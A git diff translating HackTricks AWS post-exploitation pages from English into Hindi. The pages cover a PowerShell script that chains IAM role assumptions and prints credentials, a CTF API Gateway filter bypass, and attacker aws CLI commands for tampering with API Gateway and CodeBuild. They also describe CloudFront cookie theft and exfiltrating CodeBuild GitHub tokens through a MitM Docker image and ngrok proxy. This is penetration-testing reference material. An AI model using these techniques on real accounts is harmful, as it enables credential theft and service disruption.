- -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
+-h, --help show this help message and exit
+-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
-
> [!CAUTION]
-> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
+> ध्यान दें कि [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) स्क्रिप्ट उस Github रिपॉजिटरी से सभी तरीकों को नहीं ढूंढती है जिनसे एक भूमिका श्रृंखला को कॉन्फ़िगर किया जा सकता है।
-Code to perform Role Juggling from PowerShell
-
+PowerShell से भूमिका जुगलिंग करने के लिए कोड
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
- Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
- exit
+Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+exit
}
# Function to list IAM roles
function List-IAMRoles {
- aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
}
# Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
# Attempt to assume each role
foreach ($role in $roles) {
- $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($credentials) {
- Write-Host "Successfully assumed role: $($role.RoleName)"
- Write-Host "Access Key: $($credentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
- Write-Host "Session Token: $($credentials.SessionToken)"
- Write-Host "Expiration: $($credentials.Expiration)"
+$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($credentials) {
+Write-Host "Successfully assumed role: $($role.RoleName)"
+Write-Host "Access Key: $($credentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+Write-Host "Session Token: $($credentials.SessionToken)"
+Write-Host "Expiration: $($credentials.Expiration)"
- # Set temporary credentials to assume the next role
- $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
- $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
- $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+# Set temporary credentials to assume the next role
+$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+$env:AWS_SESSION_TOKEN = $credentials.SessionToken
- # Try to assume another role using the temporary credentials
- foreach ($nextRole in $roles) {
- if ($nextRole.Arn -ne $role.Arn) {
- $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
- try {
- $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
- if ($nextCredentials) {
- Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
- Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
- Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
- Write-Host "Session Token: $($nextCredentials.SessionToken)"
- Write-Host "Expiration: $($nextCredentials.Expiration)"
- }
- } catch {
- $errorCount++
- }
- }
- }
+# Try to assume another role using the temporary credentials
+foreach ($nextRole in $roles) {
+if ($nextRole.Arn -ne $role.Arn) {
+$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($nextCredentials) {
+Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+Write-Host "Session Token: $($nextCredentials.SessionToken)"
+Write-Host "Expiration: $($nextCredentials.Expiration)"
+}
+} catch {
+$errorCount++
+}
+}
+}
- # Reset environment variables
- Remove-Item Env:\AWS_ACCESS_KEY_ID
- Remove-Item Env:\AWS_SECRET_ACCESS_KEY
- Remove-Item Env:\AWS_SESSION_TOKEN
- } else {
- $errorCount++
- }
- } catch {
- $errorCount++
- }
+# Reset environment variables
+Remove-Item Env:\AWS_ACCESS_KEY_ID
+Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+Remove-Item Env:\AWS_SESSION_TOKEN
+} else {
+$errorCount++
+}
+} catch {
+$errorCount++
+}
}
# Output the number of errors if any
if ($errorCount -gt 0) {
- Write-Host "$errorCount error(s) occurred during role assumption attempts."
+Write-Host "$errorCount error(s) occurred during role assumption attempts."
} else {
- Write-Host "No errors occurred. All roles checked successfully."
+Write-Host "No errors occurred. All roles checked successfully."
}
Write-Host "Role juggling check complete."
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 53f79d916..24a54a81d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1,6 +1 @@
-# AWS - Post Exploitation
-
-
-
-
-
+# AWS - पोस्ट एक्सप्लॉइटेशन
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 4847c40e0..ae4e45866 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -4,38 +4,34 @@
## API Gateway
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Access unexposed APIs
+### एक्सपोज़ न किए गए APIs तक पहुँचें
-You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
-Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+आप [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) में `com.amazonaws.us-east-1.execute-api` सेवा के साथ एक एंडपॉइंट बना सकते हैं, उस नेटवर्क में एंडपॉइंट को एक्सपोज़ करें जहाँ आपके पास पहुँच है (संभवतः एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाले सुरक्षा समूह को असाइन करें।\
+फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच प्राप्त कर सकेंगे और इसलिए उस गेटवे API को कॉल कर सकेंगे जो पहले एक्सपोज़ नहीं किया गया था।
-### Bypass Request body passthrough
+### अनुरोध शरीर पासथ्रू को बायपास करें
-This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+यह तकनीक [**इस CTF लेख**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) में पाई गई थी।
-As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
-
-Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+जैसा कि [**AWS दस्तावेज़**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` अनुभाग में संकेतित किया गया है, डिफ़ॉल्ट रूप से, मान **`WHEN_NO_MATCH`** , जब अनुरोध के **Content-Type** हेडर की जांच की जाती है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास करेगा।
+इसलिए, CTF में API गेटवे में एक इंटीग्रेशन टेम्पलेट था जो **फ्लैग को रिस्पॉन्स में एक्सफिल्ट्रेट होने से रोक रहा था** जब एक अनुरोध `Content-Type: application/json` के साथ भेजा गया था:
```yaml
RequestTemplates:
- application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
+हालांकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को रोका जा सकेगा।
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
-
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
-
+अंत में, चूंकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, एक POST अनुरोध भेजकर जिसमें क्वेरी शरीर में हो और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया जाए:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
-
### Usage Plans DoS
In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
@@ -45,7 +41,6 @@ The **API Key** just need to be **included** inside a **HTTP header** called **`
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
> [!NOTE]
-> Need testing
+> परीक्षण की आवश्यकता है
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
-
+एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` की अनुमति है, **एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके**।
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
+**संभावित प्रभाव**: कैश किए गए डेटा तक अनधिकृत पहुंच, API ट्रैफ़िक को बाधित या इंटरसेप्ट करना।
> [!NOTE]
-> Need testing
+> परीक्षण की आवश्यकता है
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं**।
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**संभावित प्रभाव**: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
> [!NOTE]
-> Need testing
+> परीक्षण की आवश्यकता है
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
-
+एक हमलावर जिसके पास `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` की अनुमति है, **API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जो संभावित रूप से API की सुरक्षा को कमजोर कर सकता है**।
```bash
API_ID="your-api-id"
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
+**संभावित प्रभाव**: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुंच की अनुमति देना या संवेदनशील जानकारी को उजागर करना।
> [!NOTE]
-> Need testing
+> परीक्षण की आवश्यकता है
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
-
+एक हमलावर जिसके पास अनुमतियाँ `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हैं, **नए API कुंजी बना सकता है, उन्हें उपयोग योजना के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है**।
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
-
-**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
+**संभावित प्रभाव**: API संसाधनों तक अनधिकृत पहुंच, सुरक्षा नियंत्रणों को बायपास करना।
> [!NOTE]
-> Need testing
+> परीक्षण की आवश्यकता है
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 4a3c4ff21..586f0f4e1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -4,7 +4,7 @@
## CloudFront
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-cloudfront-enum.md
@@ -12,24 +12,20 @@ For more information check:
### Man-in-the-Middle
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+यह [**ब्लॉग पोस्ट**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ विभिन्न परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront** के माध्यम से **संचार** में जोड़ा (या यदि यह पहले से उपयोग में है तो संशोधित) किया जा सकता है, जिसका उद्देश्य उपयोगकर्ता की जानकारी (जैसे सत्र का **कुकी**) को **चुराना** और **प्रतिक्रिया** को **संशोधित** करना (एक दुर्भावनापूर्ण JS स्क्रिप्ट को इंजेक्ट करना) है।
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+#### परिदृश्य 1: MitM जहाँ CloudFront को एक बकेट के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है
-- **Create** the malicious **function**.
-- **Associate** it with the CloudFront distribution.
-- Set the **event type to "Viewer Response"**.
+- **दुर्भावनापूर्ण** **कार्य** बनाएं।
+- इसे CloudFront वितरण के साथ **संलग्न** करें।
+- **इवेंट प्रकार को "Viewer Response"** पर सेट करें।
-Accessing the response you could steal the users cookie and inject a malicious JS.
+प्रतिक्रिया को एक्सेस करते समय आप उपयोगकर्ताओं का कुकी चुरा सकते हैं और एक दुर्भावनापूर्ण JS इंजेक्ट कर सकते हैं।
-#### scenario 2: MitM where CloudFront is already using a lambda function
+#### परिदृश्य 2: MitM जहाँ CloudFront पहले से एक lambda फ़ंक्शन का उपयोग कर रहा है
-- **Modify the code** of the lambda function to steal sensitive information
+- संवेदनशील जानकारी चुराने के लिए lambda फ़ंक्शन का **कोड संशोधित करें**।
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+आप इस परिदृश्य को फिर से बनाने के लिए [**tf कोड यहाँ देख सकते हैं**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 54be4e299..251b90e13 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -4,7 +4,7 @@
## CodeBuild
-For more information, check:
+अधिक जानकारी के लिए, देखें:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
@@ -12,8 +12,8 @@ For more information, check:
### Check Secrets
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+यदि क्रेडेंशियल्स को Github, Gitlab या Bitbucket से कनेक्ट करने के लिए Codebuild में सेट किया गया है, व्यक्तिगत टोकन, पासवर्ड या OAuth टोकन एक्सेस के रूप में, तो ये **क्रेडेंशियल्स को सीक्रेट मैनेजर में सीक्रेट्स के रूप में स्टोर किया जाएगा**।\
+इसलिए, यदि आपके पास सीक्रेट मैनेजर को पढ़ने का एक्सेस है, तो आप इन सीक्रेट्स को प्राप्त कर सकते हैं और जुड़े प्लेटफॉर्म पर पिवट कर सकते हैं।
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -21,68 +21,56 @@ Therefore, if you have access to read the secret manager you will be able to get
### Abuse CodeBuild Repo Access
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+**CodeBuild** को कॉन्फ़िगर करने के लिए, इसे **कोड रेपो** तक **एक्सेस** की आवश्यकता होगी जिसका यह उपयोग करने जा रहा है। कई प्लेटफार्म इस कोड को होस्ट कर सकते हैं:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+**CodeBuild प्रोजेक्ट को कॉन्फ़िगर किए गए स्रोत प्रदाता तक एक्सेस होना चाहिए**, या तो **IAM भूमिका** के माध्यम से या github/bitbucket **टोकन या OAuth एक्सेस** के साथ।
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+एक हमलावर के पास **CodeBuild में उच्च अनुमतियाँ** होने पर, वह इस कॉन्फ़िगर किए गए एक्सेस का दुरुपयोग करके कॉन्फ़िगर किए गए रेपो और अन्य में कोड लीक कर सकता है जहाँ सेट क्रेड्स को एक्सेस है।\
+इसके लिए, एक हमलावर को बस **रेपो के लिए प्रत्येक रेपो का रिपॉजिटरी URL बदलने की आवश्यकता होगी** जिनके लिए कॉन्फ़िग क्रेडेंशियल्स को एक्सेस है (ध्यान दें कि aws वेब आपके लिए सभी को सूचीबद्ध करेगा):
-And **change the Buildspec commands to exfiltrate each repo**.
+और **प्रत्येक रेपो को एक्सफिल्ट्रेट करने के लिए Buildspec कमांड बदलें**।
> [!WARNING]
-> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-> Or does he? Check the next section
+> हालाँकि, यह **कार्य दोहरावदार और थकाऊ है** और यदि एक github टोकन को **लिखने की अनुमतियों** के साथ कॉन्फ़िगर किया गया था, तो एक हमलावर **उन अनुमतियों का (दुरुपयोग) नहीं कर पाएगा** क्योंकि उसके पास टोकन तक पहुँच नहीं है।\
+> या क्या है? अगले अनुभाग की जाँच करें
### Leaking Access Tokens from AWS CodeBuild
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
-
+आप CodeBuild में दिए गए एक्सेस को Github जैसे प्लेटफार्मों पर लीक कर सकते हैं। जाँच करें कि क्या किसी बाहरी प्लेटफार्मों तक पहुँच दी गई थी:
```bash
aws codebuild list-source-credentials
```
-
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
### `codebuild:DeleteProject`
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
+एक हमलावर पूरे CodeBuild प्रोजेक्ट को हटा सकता है, जिससे प्रोजेक्ट कॉन्फ़िगरेशन का नुकसान होगा और प्रोजेक्ट पर निर्भर एप्लिकेशन पर प्रभाव पड़ेगा।
```bash
aws codebuild delete-project --name
```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
+**संभावित प्रभाव**: हटाए गए प्रोजेक्ट का उपयोग करने वाले अनुप्रयोगों के लिए प्रोजेक्ट कॉन्फ़िगरेशन का नुकसान और सेवा में बाधा।
### `codebuild:TagResource` , `codebuild:UntagResource`
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+एक हमलावर CodeBuild संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।
### `codebuild:DeleteSourceCredentials`
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
+एक हमलावर Git रिपॉजिटरी के लिए स्रोत क्रेडेंशियल्स को हटा सकता है, जो रिपॉजिटरी पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को प्रभावित करता है।
```sql
aws codebuild delete-source-credentials --arn
```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+**संभावित प्रभाव**: प्रभावित रिपॉजिटरी पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा, स्रोत क्रेडेंशियल्स को हटाने के कारण।
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c514d7a7c..87d9c5d14 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,73 +2,68 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
+## Github/Bitbucket कॉन्फ़िगर किए गए टोकन पुनर्प्राप्त करें
+पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं:
```bash
aws codebuild list-source-credentials
```
-
### Via Docker Image
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप **exfiltrate** उस **access** (**GH token या OAuth token**) को **specific docker image** का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए Codebuild को बना सकते हैं।
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+इसके लिए आप **एक नया Codebuild प्रोजेक्ट** बना सकते हैं या **Docker image** सेट करने के लिए एक मौजूदा प्रोजेक्ट के **environment** को बदल सकते हैं।
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
+आप जो Docker image उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)। यह एक बहुत ही बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको **`https_proxy`** और **`http_proxy`** में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने और **`SSL_CERT_FILE`** में निर्दिष्ट SSL CERT पर भरोसा करने की अनुमति देगा।
1. **Create & Upload your own Docker MitM image**
- - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
- - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
+- अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और **docker image बनाएं**।
+- **`http_proxy`** सेट न करें ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके।
+- आप **`ngrok`** का उपयोग कर सकते हैं जैसे `ngrok tcp 4444` अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए।
+- एक बार जब आपके पास Docker image बन जाए, तो **इसे एक सार्वजनिक repo** (Dockerhub, ECR...) पर **अपलोड करें**।
2. **Set the environment**
- - Create a **new Codebuild project** or **modify** the environment of an existing one.
- - Set the project to use the **previously generated Docker image**
+- **एक नया Codebuild प्रोजेक्ट** बनाएं या एक मौजूदा प्रोजेक्ट के वातावरण को **संशोधित** करें।
+- प्रोजेक्ट को **पूर्व में उत्पन्न Docker image** का उपयोग करने के लिए सेट करें।
3. **Set the MitM proxy in your host**
-- As indicated in the **Github repo** you could use something like:
-
